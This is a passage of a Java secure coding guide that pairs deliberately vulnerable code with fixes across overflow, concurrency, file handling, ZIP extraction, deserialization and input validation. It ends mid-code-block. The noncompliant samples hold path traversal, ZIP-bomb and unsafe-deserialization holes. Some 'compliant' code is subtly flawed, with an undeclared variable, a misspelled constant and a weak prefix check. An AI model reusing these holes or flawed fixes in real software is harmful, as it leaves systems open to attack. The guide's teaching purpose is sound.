1# Java Secure Coding Guide 2 3This document provides secure coding suggestions for Java-based development. 4 5# Data Type 6 7## Prevent integer overflow in numeric operations 8 9**\[Description]** 10 11Ensure that numeric operations do not create a numeric value that is outside of a specific integer range, so as to prevent integer overflows which may lead to unintended behavior. 12 13The built-in integer operators do not indicate overflow or underflow in any way. Common addition, subtraction, multiplication, and division operations may cause integer overflows. In addition, the ranges of Java types are not symmetric (the negation of each minimum value is one more than each maximum value). Therefore, the `java.lang.Math.abs()` method which returns the absolute value of any number can also overflow if given the minimum as an argument. 14 15Integer overflows can be avoided using precondition testing, Math class, upcasting, `BigInteger`, etc. 16 17**\[Noncompliant Code Example]** 18 19```java 20public static int multNum(int num1, int num2) { 21 return num1 * num2; 22} 23``` 24 25In this noncompliant code example, when the absolute values of **num1** and **num2** are large and the product of **num1** and **num2** is greater than `Integer.MAX_VALUE` or smaller than `Integer.MIN_VALUE`, the method cannot return the correct result, incurring an overflow. 26 27**\[Compliant Code Example]** 28 29```java 30public static int multNum(int num1, int num2) { 31 return Math.multiplyExact(num1, num2); 32} 33``` 34 35This compliant code example uses the `Math.multiplyExact()` method, which is added to Java as part of the Java 8 release, when it is impossible to predict whether an overflow may occur in multiplication operations. This method either returns a mathematically correct value or throw `ArithmeticException`. 36 37## Ensure that division and remainder operations do not result in divide-by-zero errors 38 39**\[Description]** 40 41A division or remainder by zero can result in abnormal program termination and denial of service (DoS). Therefore, the divisor in a division or remainder operation must be checked for zero prior to the operation. 42 43**\[Noncompliant Code Example]** 44 45```java 46long dividendNum = 0; 47long divisorNum = 0; 48long result1 = dividendNum / divisorNum; 49long result2 = dividendNum % divisorNum; 50``` 51 52In this noncompliant code example, the divisor is not checked for zero prior to the operation, which may cause program errors. 53 54**\[Compliant Code Example]** 55 56```java 57long dividendNum = 0; 58long divisorNum = 0; 59if (divisorNum != 0) { 60 long result1 = dividendNum / divisorNum; 61 long result2 = dividendNum % divisorNum; 62} 63``` 64 65This compliant code example tests the divisor to guarantee there is no possibility of divide-by-zero errors before the operation. 66 67# Expressions 68 69## Do not use a null in any case where an object is required to prevent null pointer reference 70 71**\[Description]** 72 73Using a null in cases where an object is required results in a `NullPointerException` being thrown. Such exceptions should be resolved through pre-check rather than `try...catch`. 74 75**\[Noncompliant Code Example]** 76 77```java 78String env = System.getenv(SOME_ENV); 79if (env.length() > MAX_LENGTH) { 80 ... 81} 82``` 83 84In this noncompliant code example, the return value of `System.getenv()` may be null, but `env` is not checked for null before it is used. As a result, a null pointer reference occurs. 85 86**\[Compliant Code Example]** 87 88```java 89String env = System.getenv(SOME_ENV); 90if (env != null && env.length() > MAX_LENGTH) { 91 ... 92} 93``` 94 95The compliant code example eliminates null pointer reference by adding a null check for the `System.getenv()` return value. 96 97# Concurrency and Multithreading 98 99## Ensure that actively held locks are released on exceptional conditions 100 101**\[Description]** 102 103An unreleased lock in any thread will prevent other threads from acquiring the same lock, leading to blocking. Programs must release all actively held locks on exceptional conditions. Intrinsic locks of class objects used for method and block synchronization are automatically released on exceptional conditions. However, most Java lock objects are not closeable, so they cannot be automatically released using the try-with-resources feature. In this case, programs must release the locks actively. 104 105**Noncompliant Code Example** (Checked Exception) 106 107```java 108public final class Foo { 109 private final Lock lock = new ReentrantLock(); 110 111 public void incorrectReleaseLock() { 112 try { 113 lock.lock(); 114 doSomething(); 115 lock.unlock(); 116 } catch (MyBizException ex) { 117 //Handle the exception 118 } 119 } 120 121 private void doSomething() throws MyBizException { 122 ... 123 } 124} 125``` 126 127This noncompliant code example uses a `ReentrantLock`. However, the catch block fails to release the lock when an exception is thrown by the `doSomething()` method. 128 129**\[Compliant Code Example]** (**finally** Block) 130 131```java 132public final class Foo { 133 private final Lock lock = new ReentrantLock(); 134 135 public void correctReleaseLock() { 136 lock.lock(); 137 try { 138 doSomething(); 139 } catch (MyBizException ex) { 140 //Handle the exception 141 } finally { 142 lock.unlock(); 143 } 144 } 145 146 private void doSomething() throws MyBizException { 147 ... 148 } 149} 150``` 151 152This compliant code example encapsulates operations that could throw an exception in a **try** block immediately after acquiring the lock. The lock is acquired before the **try** block, which ensures that it is held when the **finally** block executes. Calling `lock.unlock()` in the **finally** block ensures that the lock can be released even in the event of an exception. 153 154**Noncompliant Code Example** (Unchecked Exception) 155 156```java 157final class Foo { 158 private final Lock lock = new ReentrantLock(); 159 160 public void incorrectReleaseLock(String value) { 161 lock.lock(); 162 ... 163 int index = Integer.parseInt(value); 164 ... 165 lock.unlock(); 166 } 167} 168``` 169 170In this noncompliant code example, when the string passed by the `incorrectReleaseLock()` method is not a number, a `NumberFormatException` will be thrown in subsequent operations. Consequently, the lock is not correctly released. 171 172**\[Compliant Code Example]** (**finally** Block) 173 174```java 175final class Foo { 176 private final Lock lock = new ReentrantLock(); 177 178 public void correctReleaseLock(String value) { 179 lock.lock(); 180 try { 181 ... 182 int index = Integer.parseInt(value); 183 ... 184 } finally { 185 lock.unlock(); 186 } 187 } 188} 189``` 190 191This compliant code example encapsulates operations that could throw an exception in a **try** block immediately after acquiring the lock. The lock is acquired before the **try** block, which ensures that it is held when the **finally** block executes. Calling `lock.unlock()` in the **finally** block ensures that the lock can be released even in the event of an exception. 192 193## Do not use **Thread.stop()** to terminate threads 194 195**\[Description]** 196 197Threads preserve class invariants when they are allowed to exit normally. Some thread APIs were initially introduced to facilitate thread suspension, resumption, and termination but were later deprecated due to inherent design weaknesses. For example, the `Thread.stop()` method causes the thread to immediately throw a `ThreadDeath` exception, which usually stops the thread. Calling `Thread.stop()` results in the release of all locks acquired by a thread, potentially exposing the objects protected by the locks when those objects are in an inconsistent state. 198 199**\[Noncompliant Code Example]** (Deprecated **Thread.stop()**) 200 201```java 202public final class Foo implements Runnable { 203 private final Vector<Integer> vector = new Vector<Integer>(1000); 204 205 public Vector<Integer> getVector() { 206 return vector; 207 } 208 209 @Override 210 public synchronized void run() { 211 Random number = new Random(123L); 212 int i = vector.capacity(); 213 while (i > 0) { 214 vector.add(number.nextInt(100)); 215 i--; 216 } 217 } 218 219 public static void main(String[] args) throws InterruptedException { 220 Thread thread = new Thread(new Foo()); 221 thread.start(); 222 Thread.sleep(5000); 223 thread.stop(); 224 } 225} 226``` 227 228In this noncompliant code example, a thread fills a vector with pseudorandom numbers. The thread is forcefully stopped after a specific period of time. Because **Vector** is a thread-safe class, the operations performed by multiple threads on the shared instance will leave it in a consistent state. For example, the `Vector.size()` method always returns the correct number of elements in the vector, because the vector instance uses its own intrinsic lock to synchronize state. However, the `Thread.stop()` method causes the thread to stop and throw a `ThreadDeath` exception. All acquired locks are subsequently released. If the thread was in the process of adding a new integer when it was stopped, the vector would be in an inconsistent state. For example, this could result in `Vector.size()` returning an incorrect element count because the element count was incremented after the element is added. 229 230**\[Compliant Code Example]** (Setting a Thread End Flag) 231 232```java 233public final class Foo implements Runnable { 234 private final Vector<Integer> vector = new Vector<Integer>(1000); 235 236 private boolean done = false; 237 238 public Vector<Integer> getVector() { 239 return vector; 240 } 241 242 public void shutdown() { 243 done = true; 244 } 245 246 @Override 247 public synchronized void run() { 248 Random number = new Random(123L); 249 int i = vector.capacity(); 250 while (!done && i > 0) { 251 vector.add(number.nextInt(100)); 252 i--; 253 } 254 } 255 256 public static void main(String[] args) throws InterruptedException { 257 Foo foo = new Foo(); 258 Thread thread = new Thread(foo); 259 thread.start(); 260 Thread.sleep(5000); 261 foo.shutdown(); 262 } 263} 264``` 265 266This compliant code example uses a flag to request thread termination. The `shutdown()` method is used to set the flag to **true**. The `run()` method of the thread terminates when it finds the flag is **true**. 267 268**\[Compliant Code Example]** (Interruptible) 269 270```java 271public final class Foo implements Runnable { 272 private final Vector<Integer> vector = new Vector<Integer>(1000); 273 274 public Vector<Integer> getVector() { 275 return vector; 276 } 277 278 @Override 279 public synchronized void run() { 280 Random number = new Random(123L); 281 int i = vector.capacity(); 282 while (!Thread.interrupted() && i > 0) { 283 vector.add(number.nextInt(100)); 284 i--; 285 } 286 } 287 288 public static void main(String[] args) throws InterruptedException { 289 Foo foo = new Foo(); 290 Thread thread = new Thread(foo); 291 thread.start(); 292 Thread.sleep(5000); 293 thread.interrupt(); 294 } 295} 296``` 297 298The compliant code example calls the `Thread.interrupt()` method to terminate the thread. Calling `Thread.interrupt()` sets an internal termination flag. The thread polls that flag using the `Thread.interrupted()` method, which both returns **true** if the current thread has been terminated and clears the termination flag. 299 300## Clear customized **ThreadLocal** variables when the thread in the thread pool ends 301 302**\[Description]** 303 304Thread pooling reduces thread creation overhead by reusing threads. However, the reuse of threads causes two problems related to the use of `ThreadLocal` variables: 305 306- Dirty data: `ThreadLocal` variables are not correctly initialized for the current task. Consequently, the task sees `ThreadLocal` variables set by another task executed on the same thread. 307- Memory leak: Since `ThreadLocal` variables are not actively released, the memory cannot be actively reclaimed. 308 309Therefore, the `ThreadLocal` variables used by each task in the thread pool must be automatically cleared after the task ends. 310 311**\[Compliant Code Example]** 312 313```java 314public class TestThreadLocal { 315 public static void main(String[] args) { 316 ThreadPoolExecutor pool = new ThreadPoolExecutor(1, 2, 100, 317 TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>(), 318 Executors.defaultThreadFactory(), new ThreadPoolExecutor.CallerRunsPolicy()); 319 for (int i = 0; i < 20; i++) { 320 pool.execute(new TestThreadLocalTask()); 321 } 322 } 323} 324 325class TestThreadLocalTask implements Runnable { 326 private static ThreadLocal<Integer> localValue = new ThreadLocal<>(); 327 328 @Override 329 public void run() { 330 localValue.set(STATE1); 331 try { 332 ... 333 localValue.set(STATE3); 334 ... 335 } finally { 336 localValue.remove(); //Use the remove() method to clear local variables of the thread to avoid memory leak 337 } 338 } 339} 340``` 341 342# Input/Output 343 344## Create files with appropriate access permissions on multi-user systems 345 346**\[Description]** 347 348Files in multi-user systems are generally owned by a particular user. The owner of the files can specify which other users in the system are allowed to access the files. These file systems use a privilege and permission model to protect file access. When a file is created, the file access permissions dictate who are allowed to access or operate on the file. When a program creates a file with insufficiently restrictive access permissions, an attacker may read or modify the file before the program can modify the permissions. Consequently, files must be created with access permissions that prevent unauthorized file access. 349 350**\[Noncompliant Code Example]** 351 352```java 353Writer out = new FileWriter("file"); 354``` 355 356The constructors for `FileOutputStream` and `FileWriter` do not allow programmers to explicitly specify file access permissions. In this noncompliant code example, the access permissions of any file created are implementation-defined and may not prevent unauthorized access. 357 358**\[Compliant Code Example]** 359 360```java 361Path file = new File("file").toPath(); 362 363//Throw an exception, rather than overwrite an existing file 364Set<OpenOption> options = new HashSet<OpenOption>(); 365options.add(StandardOpenOption.CREATE_NEW); 366options.add(StandardOpenOption.APPEND); 367 368//Set file permissions to allow only the owner to read/write the file 369Set<PosixFilePermission> perms = PosixFilePermissions.fromString("rw-------"); 370FileAttribute<Set<PosixFilePermission>> attr = 371 PosixFilePermissions.asFileAttribute(perms); 372try (SeekableByteChannel sbc = Files.newByteChannel(file, options, attr)) { 373 ... //Write data 374} 375``` 376 377**\[Exception]** 378 379When a file is created inside a directory that is both secure and unreadable to untrusted users, the file may be created with the default access permissions. This is the case, for example, if the entire file system is trusted or accessible only to trusted users. 380 381## Validate and canonicalize path names constructed using external data 382 383**\[Description]** 384 385If a path name is constructed using external data, it must be verified. Otherwise, a path traversal vulnerability may occur. 386 387A path name may be either absolute or relative and may contain file links, such as symbolic links, shortcuts, and shadows, which all affect path name validation. Therefore, path names must be canonicalized before being validated. Be sure to use `getCanonicalPath()`, but not `getAbsolutePath()`, to canonicalize path names, because the latter does not guarantee correct canonicalization on all platforms. 388 389**\[Noncompliant Code Example]** 390 391```java 392public void doSomething() { 393 File file = new File(HOME_PATH, fileName); 394 String path = file.getPath(); 395 396 if (!validatePath(path)) { 397 throw new IllegalArgumentException("Path Traversal vulnerabilities may exist!") ; 398 } 399 ... //Perform read and write operations on the file 400} 401 402private boolean validatePath(String path) { 403 if (path.startsWith(HOME_PATH)) { 404 return true; 405 } else { 406 return false; 407 } 408} 409``` 410 411In this noncompliant code example, the file name comes from external input and is directly concatenated with a fixed path name to generate the actual path name. Before the file is accessed, `validatePath` is used to check whether the actual path name is under a fixed directory. However, an attacker can still access a file outside **HOME\_PATH** by entering an argument that contains **../**. 412 413**\[Compliant Code Example]** (**getCanonicalPath()**) 414 415```java 416public void doSomething() { 417 File file = new File(HOME_PATH, fileName); 418 try { 419 String canonicalPath = file.getCanonicalPath(); 420 if (!validatePath(canonicalPath)) { 421 throw new IllegalArgumentException("Path Traversal vulnerability!"); 422 } 423 ... //Perform read and write operations on the file 424 } catch (IOException ex) { 425 throw new IllegalArgumentException("An exception occurred ...", ex); 426 } 427} 428 429private boolean validatePath(String path) { 430 if (path.startsWith(HOME_PATH)) { 431 return true; 432 } else { 433 return false; 434 } 435} 436``` 437 438This compliant code example canonicalizes the path name constructed using the externally-supplied file name, and validates the canonicalized path name before performing file read/write operations. This practice can effectively prevent risks like path traversal. 439 440## Perform security check when decompressing a ZIP archive using **ZipInputStream** 441 442**\[Description]** 443 444A number of security concerns must be considered when extracting files from a ZIP archive using `java.util.zip.ZipInputStream`: 445 446**1\. Extracting files outside the intended directory** 447 448File names may contain **../** sequences that may cause the files to be extracted outside of the intended directory. Therefore, file names must be validated when files are extracted from a ZIP archive. If the destination path of any file in the ZIP archive is not within the expected directory, either refuse to extract it or extract it to a safe location. 449 450**2\. Excessive consumption of system resources during file extraction** 451 452When extracting files from a ZIP archive, both the number and size of the extracted files need to be limited. The zip algorithm can produce very large compression ratios, to compress a huge file into a small ZIP archive. If the actual size of the files in the ZIP archive is not checked, the extracted files may occupy a large amount of system resources, resulting in a ZIP bomb attack. Therefore, programs must refuse to extract files beyond a certain size limit. The actual limit depends on the capabilities of the platform. 453 454**\[Noncompliant Code Example]** 455 456```java 457public void unzip(String fileName, String dir) throws IOException { 458 try (FileInputStream fis = new FileInputStream(fileName); 459 ZipInputStream zis = new ZipInputStream(fis)) { 460 ZipEntry entry; 461 File tempFile; 462 byte[] buf = new byte[10240]; 463 int length; 464 465 while ((entry = zis.getNextEntry()) != null) { 466 tempFile = new File(dir, entry.getName()); 467 if (entry.isDirectory()) { 468 tempFile.mkdirs(); 469 continue; 470 } 471 472 try (FileOutputStream fos = new FileOutputStream(tempFile)) { 473 while ((length = zis.read(buf)) != -1) { 474 fos.write(buf, 0, length); 475 } 476 } 477 } 478 } 479} 480``` 481 482This noncompliant code example does not validate the name of the file that is being unzipped. It passes the name directly to the constructor of `FileOutputStream`. It also fails to check the resource consumption of the file that is being unzipped. It permits the operation to run to completion or until local resources are exhausted. 483 484**\[Compliant Code Example]** 485 486```java 487private static final long MAX_FILE_COUNT = 100L; 488private static final long MAX_TOTAL_FILE_SIZE = 1024L * 1024L; 489 490... 491 492public void unzip(FileInputStream zipFileInputStream, String dir) throws IOException { 493 long fileCount = 0; 494 long totalFileSize = 0; 495 496 try (ZipInputStream zis = new ZipInputStream(zipFileInputStream)) { 497 ZipEntry entry; 498 String entryName; 499 String entryFilePath; 500 File entryFile; 501 byte[] buf = new byte[10240]; 502 int length; 503 504 while ((entry = zis.getNextEntry()) != null) { 505 entryName = entry.getName(); 506 entryFilePath = sanitizeFileName(entryName, dir); 507 entryFile = new File(entryFilePath); 508 509 if (entry.isDirectory()) { 510 creatDir(entryFile); 511 continue; 512 } 513 514 fileCount++; 515 if (fileCount > MAX_FILE_COUNT) { 516 throw new IOException("The ZIP package contains too many files."); 517 } 518 519 try (FileOutputStream fos = new FileOutputStream(entryFile)) { 520 while ((length = zis.read(buf)) != -1) { 521 totalFileSize += length; 522 zipBombCheck(totalFileSize); 523 fos.write(buf, 0, length); 524 } 525 } 526 } 527 } 528} 529 530private String sanitizeFileName(String fileName, String dir) throws IOException { 531 file = new File(dir, fileName); 532 String canonicalPath = file.getCanonicalPath(); 533 if (canonicalPath.startsWith(dir)) { 534 return canonicalPath; 535 } 536 throw new IOException("Path Traversal vulnerability: ..."); 537} 538 539private void creatDir(File dirPath) throws IOException { 540 boolean result = dirPath.mkdirs(); 541 if (!result) { 542 throw new IOException("Create dir failed, path is : " + dirPath.getPath()); 543 } 544 ... 545} 546 547private void zipBombCheck(long totalFileSize) throws IOException { 548 if (totalFileSize > MAX_TOTAL_FILE_SIZEG) { 549 throw new IOException("Zip Bomb! The size of the file extracted from the ZIP package is too large."); 550 } 551} 552``` 553 554This compliant code example validates the name of each file before unzipping it. If a file name is invalid, the extraction is aborted. In fact, a compliant solution could also skip that file and continue the extraction process, or extract the file to a safe location. Furthermore, the code inside the while loop tracks the total size of extracted files and throws an exception if the total size hits the upper limit **MAX\_TOTAL\_FILE\_SIZE**. The code also counts the number of file entries in the ZIP archive and throws an exception if the total number of files hits the upper limit **MAX\_FILE\_COUNT**. 555 556Note: `entry.getSize()` reads the pre-decompression size of individual files from a fixed field, which may have been tampered with. Therefore, do not use `entry.getSize()` to collect statistics about the extracted file size. 557 558## Use integer return type of methods that read a character or byte from a stream 559 560**\[Description]** 561 562The `InputStream.read()` and `Reader.read()` methods are used to read a byte or character, respectively, from a stream. 563 564The `InputStream.read()` method reads a single byte from an input source and returns its value as an 8-bit integer in the range 0x00 to 0xff. The `Reader.read()` method reads a single character and returns its value as a 16-bit integer in the range 0x0000 to 0xffff. 565 566Both methods return the 32-bit integer –1 (0xffffffff) to indicate that the end of the stream has been reached and no data is available. 567 568Prematurely converting the resulting integer to a **byte** or **char** before testing for the value −1 (0xffffffff) makes it impossible to distinguish between characters read and the end of stream indicator. 569 570**\[Noncompliant Code Example]** (**byte**) 571 572```java 573FileInputStream in = getReadableStream(); 574 575byte data; 576while ((data = (byte) in.read()) != -1) { 577 //Use data 578 ... 579} 580``` 581 582This noncompliant code example casts the value returned by the `read()` method directly to a value of the **byte** type and then compares this value with −1 in an attempt to detect the end of the stream. If the `read()` method returns 0xff which is then converted into a signed byte value –1, it will be incorrectly taken as the end of the stream. 583 584**\[Noncompliant Code Example]** (**char**) 585 586```java 587InputStreamReader in = getReader(); 588 589char data; 590while ((data = (char) in.read()) != -1) { 591 //Use data 592 ... 593} 594``` 595 596This noncompliant code example casts the value returned by the `read()` method directly to a value of the **char** type and then compares this value with −1 in an attempt to detect the end of the stream. When the end of stream is read, the return value cast to the **char** type is not −1. Consequently, the while loop cannot properly end. The reason is as follows: When the end of stream indicator –1 (0xffffffff) is forcibly converted to the **char** type, it will be converted to 0xffff, instead of –1. Consequently, the test for the end of file never evaluates to true. 597 598**\[Compliant Code Example]** (**byte**) 599 600```java 601FileInputStream in = getReadableStream(); 602 603byte data; 604int result; 605while ((result = in.read()) != -1) { 606 data = (byte) result; 607 //Use data 608 ... 609} 610``` 611 612**\[Compliant Code Example]** (**char**) 613 614```java 615InputStreamReader in = getReader(); 616 617char data; 618int result; 619while ((result = in.read()) != -1) { 620 data = (char) result; 621 //Use data 622 ... 623} 624``` 625 626This compliant code example uses a variable of the **int** type to capture the value returned by `read()`, and uses the return value to determine whether the end of stream is read. If the end of stream is not read, the read content is converted to the **char** or **byte** type, so as to avoid misinterpretation of the end of stream. 627 628## Do not let external processes block on input and output streams 629 630**\[Description]** 631 632Two methods can be used to invoke external processes: 633 6341. **exec()** of **java.lang.Runtime** 6352. **start()** of **java.lang.ProcessBuilder** 636 637They all return a **java.lang.Process** object which has encapsulated the external processes. 638 639This process contains an input stream, output stream, and error stream, which must be properly handled to prevent them from being blocked by external processes. 640 641Incorrect handling can cause unexpected exceptions, DoS, and other security problems. 642 6431\. Handling the input stream (`Process.getOutputStream()`) of an external process: **From the invoker's perspective, the input stream of an external process is its output stream**: A process that tries to read input on an empty input stream will block until input is supplied. 644 6452\. Handling the output stream (`Process.getInputStream()`) and error stream (`Process.getErrorStream()`) of an external process: If the external process to be invoked has both output and error streams and the streams are not emptied, the output of the process may exhaust the buffer of the output and error streams. Consequently, the external process is blocked, and the interaction between the invoker and external process is affected. When `java.lang.ProcessBuilder` is used to invoke an external process, the error stream of the process can be redirected to the output stream using the `redirectErrorStream()` method, and the invoker can empty the output stream so that the error stream is emptied together. 646 647**\[Noncompliant Code Example]** (Incorrectly Handling the Return Result of an External Process) 648 649```java 650public void execExtProcess() throws IOException { 651 Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning"); 652 int exitVal = proc.exitValue(); 653} 654``` 655 656In this noncompliant code example, the program invokes the `exitValue()` method when the ProcessMaybeStillRunning process has not terminated, which may result in an `IllegalThreadStateException`. 657 658**\[Noncompliant Code Example]** (Failure to Handle the Output and Error Streams of an External Process) 659 660```java 661public void execExtProcess() throws IOException, InterruptedException { 662 Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning"); 663 int exitVal = proc.waitFor(); 664} 665``` 666 667Different from the previous example, this example will not result in an `IllegalThreadStateException`. However, the security problems described in the "Description" part may occur since the output and error streams of ProcessMaybeStillRunning are not handled. 668 669**\[Compliant Code Example]** 670 671```java 672public class ProcessExecutor { 673 public void callExtProcess() throws IOException, InterruptedException { 674 Process proc = Runtime.getRuntime().exec("ProcessHasOutput"); 675 676 StreamConsumer errConsumer = new StreamConsumer(proc.getErrorStream()); 677 StreamConsumer outputConsumer = new StreamConsumer(proc.getInputStream()); 678 679 errConsumer.start(); 680 outputConsumer.start(); 681 682 int exitVal = proc.waitFor(); 683 684 errConsumer.join(); 685 outputConsumer.join(); 686 } 687 688 class StreamConsumer extends Thread { 689 InputStream is; 690 691 StreamConsumer(InputStream is) { 692 this.is = is; 693 } 694 695 @Override 696 public void run() { 697 try { 698 byte data; 699 int result; 700 while ((result = is.read()) != -1) { 701 data = (byte) result; 702 handleData(data); 703 } 704 } catch (IOException ex) { 705 //Handle the exception 706 } 707 } 708 709 private void handleData(byte data) { 710 ... 711 } 712 } 713} 714``` 715 716This compliant code example spawns two threads to read the output and error streams, so that the external process will not indefinitely block on the streams. 717 718**\[Exception]** 719 720External processes that do not use input, output, or error streams do not need stream handling. 721 722## Promptly remove temporary files after use 723 724**\[Description]** 725 726Temporary files can be used for many purposes, for example, sharing data between processes, caching memory data, and dynamically constructing class files and library files. They may be created in the shared temporary file directory of the operating system. Files in such a directory may be regularly cleaned up, for example, every night or at system restart. However, if the files are not securely created or are still accessible after fulfilling the intended purpose, an attacker who has access to the local file system can perform operations on the files in shared directories. Removing temporary files when they are no longer required allows file names and other resources (such as secondary storage) to be recycled. Each program is responsible for ensuring that temporary files are removed during normal operation. 727 728**\[Noncompliant Code Example]** 729 730```java 731public boolean uploadFile(InputStream in) throws IOException { 732 File tempFile = File.createTempFile("tempname", ".tmp"); 733 try (FileOutputStream fop = new FileOutputStream(tempFile)) { 734 int readSize; 735 do { 736 readSize = in.read(buffer, 0, MAX_BUFF_SIZE); 737 if (readSize > 0) { 738 fop.write(buffer, 0, readSize); 739 } 740 } while (readSize >= 0); 741 ... //Perform other operations on the temporary file 742 } 743} 744``` 745 746In this noncompliant code example, the temporary file is not removed upon completion. 747 748**\[Compliant Code Example]** 749 750```java 751public boolean uploadFile(InputStream in) throws IOException { 752 File tempFile = File.createTempFile("tempname", ".tmp"); 753 try (FileOutputStream fop = new FileOutputStream(tempFile)) { 754 int readSize; 755 do { 756 readSize = in.read(buffer, 0, MAX_BUFF_SIZE); 757 if (readSize > 0) { 758 fop.write(buffer, 0, readSize); 759 } 760 } while (readSize >= 0); 761 ... //Perform other operations on the temporary file 762 } finally { 763 if (!tempFile.delete()) { 764 //Ignore 765 } 766 } 767} 768``` 769 770In this compliant code example, the **finally** statement removes the temporary file after using it. 771 772# Serialization 773 774#### Do not deserialize external data directly 775 776**\[Description]** 777 778Deserialization is the process of deserializing a binary stream or string into a Java object. Deserializing external data can cause an attacker to construct a specified object, execute malicious code, inject malicious data into an application, or perform other malicious operations. Insecure deserialization can lead to attacks such as arbitrary code execution, privilege escalation, arbitrary file access, and DoS. 779 780Third-party components are usually used to serialize and deserialize data in JSON, XML, and YAML formats. Common third-party components include fastjson, jackson, XMLDecoder, XStream, and SnakeYmal. 781 782**\[Noncompliant Code Example]** 783 784```java 785public class DeserializeExample implements Serializable { 786 private static final long serialVersionUID = -5809782578272943999L; 787 788 private String name; 789 790 public String getName() { 791 return name; 792 } 793 794 public void setName(String name) { 795 this.name = name; 796 } 797 798 private void readObject(java.io.ObjectInputStream ois) { 799 ois.defaultReadObject(); 800 System.out.println("Hack!"); 801 } 802} 803 804 //Deserialize external data 805 ObjectInputStream ois2= new ObjectInputStream(fis); 806 PersonInfo myPerson = (PersonInfo) ois2.readObject(); 807``` 808 809In this noncompliant code example, when the object of the deserialization operation is the serialization result of the **DeserializeExample** object constructed by the attacker, an error will be reported when the `PersonInfo myPerson = (PersonInfo) ois2.readObject()` statement is executed, but the attack code in the `readObject()` method of the **DeserializeExample** object is executed. 810 811**\[Compliant Code Example]** (Trustlist Validation) 812 813```java 814public final class SecureObjectInputStream extends ObjectInputStream { 815 public SecureObjectInputStream() throws SecurityException, IOException { 816 super(); 817 } 818 819 public SecureObjectInputStream(InputStream in) throws IOException { 820 super(in); 821 } 822 823 protected Class<?> resolveClass(ObjectStreamClass desc) 824 throws IOException, ClassNotFoundException { 825 if (!desc.getName().equals("com.xxxx.PersonInfo")) {//Trustlist validation 826 throw new ClassNotFoundException(desc.getName() + " not find"); 827 } 828 return super.resolveClass(desc); 829 } 830} 831``` 832 833In this compliant code example, trustlist validation is performed on the class to be deserialized by reloading the `resolveClass()` method in the customized **ObjectInputStream**. It throws an exception when the class name is not in the trustlist. 834 835**\[Compliant Code Example]** (Using Security Manager) 836 837It is advised to use the Java security manager provided by the product wherever available. 838 839(1) Set **enableSubclassImplementation**. 840 841``` 842permission java.io.SerializablePermission "enableSubclassImplementation"; 843 844``` 845 846(2) Customize **ObjectInputStream** and reload **resolveClass**. 847 848```java 849public final class HWObjectInputStream extends ObjectInputStream { 850 public HWObjectInputStream() throws SecurityException, IOException { 851 super(); 852 } 853 854 public HWObjectInputStream(InputStream in) throws IOException { 855 super(in); 856 } 857 858 protected Class<?> resolveClass(ObjectStreamClass desc) 859 throws IOException, ClassNotFoundException { 860 SecurityManager sm = System.getSecurityManager(); 861 if (sm != null) { 862 sm.checkPermission(new SerializablePermission( 863 "com.xxxx." + desc.getName())); 864 } 865 return super.resolveClass(desc); 866 } 867} 868``` 869 870(3) Set a trustlist in the policy file. 871 872``` 873permission java.io.SerializablePermission "com.xxxx.PersonInfo"; 874 875``` 876 877# External Data Validation 878 879## Validate external data before using it 880 881**\[Description]** 882 883External data includes but is not limited to the network data, user input (including input in command lines and UIs), commands, files (including program configuration files), environment variables, and inter-process communication (including pipes, messages, shared memory, sockets, and RPCs), and cross-trust domain method parameters (for APIs). 884 885Data outside the program is generally considered untrusted. Validation must be performed before using such data. Otherwise, incorrect calculation results, runtime exceptions, inconsistent object status, and injection attacks may occur, severely affecting the system. 886 887**External data validation includes:** 888 889- API parameter validation 890- Data length validation 891- Data range validation 892- Data type and format validation 893- Set size validation 894- Validation to ensure that external data only contains permitted characters (trustlist validation), with special attention to special characters in certain cases 895 896Pay attention to the following points when validating external data: 897 898- Canonicalize external data before validation wherever necessary. For example, both **"\\uFE64"** and **\<** can represent **\<**. In web applications, if external input is not canonicalized, **"\\uFE64"** can be used to circumvent restrictions on **\<**. 899- Modifications to external data must be done before validation to ensure that the validated data is exactly the data to be used. 900 901For performance and code simplicity, the provider validates only the request information for RESTful APIs, and the consumer validates only the response result. For a method in a call chain, the outermost external public method must be validated, and the internal public method does not need to be validated. 902 903**Common validation frameworks:** 904 905Interface: The JSR 380 (Bean Validation 2.0) and JSR 303 (Bean Validation 1.0) JavaBean parameter validation standards defines the core interface **javax.validation.Validator** and many common validation annotations. 906Implementation: hibernate-validator and Spring validator 907 908- hibernate-validator is an implementation of JSR 380 and JSR 303 standards, which extends annotations such as @Email, @Length, @NotEmpty, and @Range. 909- Spring validator is also an implementation of JSR 380 and JSR 303, and provides the **MethodValidationPostProcessor** class for validating methods. 910 911The product can select a proper validation framework or develop one. 912 913**\[Noncompliant Code Example]** 914 915```java 916/** 917 * Change company information 918 * 919 * @param companies New and old company information 920 * @return Whether the company information is changed successfully 921 */ 922@RequestMapping(value = "/updating", method = RequestMethod.POST) 923public boolean updateCompany(@RequestBody Companies companies) { 924 return employeeService.updateCompany(companies.getSrcCompany(), 925 companies.getDestCompany()); 926} 927``` 928 929In this noncompliant code example, the `updateCompany()` interface opened by the provider fails to validate the request, which may lead to attacks. 930 931**\[Compliant Code Example]** 932 933```java 934/** 935 * Change company information 936 * 937 * @param companies New and old company information 938 * @return Whether the company information is changed successfully 939 */ 940@RequestMapping(value = "/updating", method = RequestMethod.POST) 941public boolean updateCompany(@RequestBody @Valid @NotNull Companies companies) { 942 return employeeService.updateCompany( 943 companies.getSrcCompany(), companies.getDestCompany()); 944} 945 946@Setter 947@Getter 948public class Companies { 949 @Valid 950 @NotNull 951 private Company srcCompany; 952 953 @Valid 954 @NotNull 955 private Company destCompany; 956} 957 958@Setter 959@Getter 960@Accessors(chain = true) 961public class Company { 962 @NotBlank 963 @Size(min = 10, max = 256) 964 private String name; 965 966 @NotBlank 967 @Size(min = 10, max = 512) 968 private String address; 969 970 @Valid 971 private SubCompany subCompany; 972} 973``` 974 975This compliant code example uses the @Valid annotation to trigger parameter validation, and the validation logic is the rule specified by the annotation during object attribute declaration. Since the public method `employeeService.updateCompany()` is invoked inside the current module and parameter validation is performed for the invocation, further validation is not required. 976 977**\[Noncompliant Code Example]** 978 979This noncompliant code example directly uses the obtained environment variable value without validating it. 980 981```java 982public static String getFile(String filePath, String fileName) { 983 //Obtain the class path of the process 984 String path = System.getProperty(RUNTIME_BASE_DIR); 985 //Directly use it 986} 987``` 988 989**\[Compliant Code Example]** 990 991This compliant code example uses the `getResource()` and `getResourceAsStream()` methods provided by ClassLoader to obtain resources from the loaded class path. 992 993```java 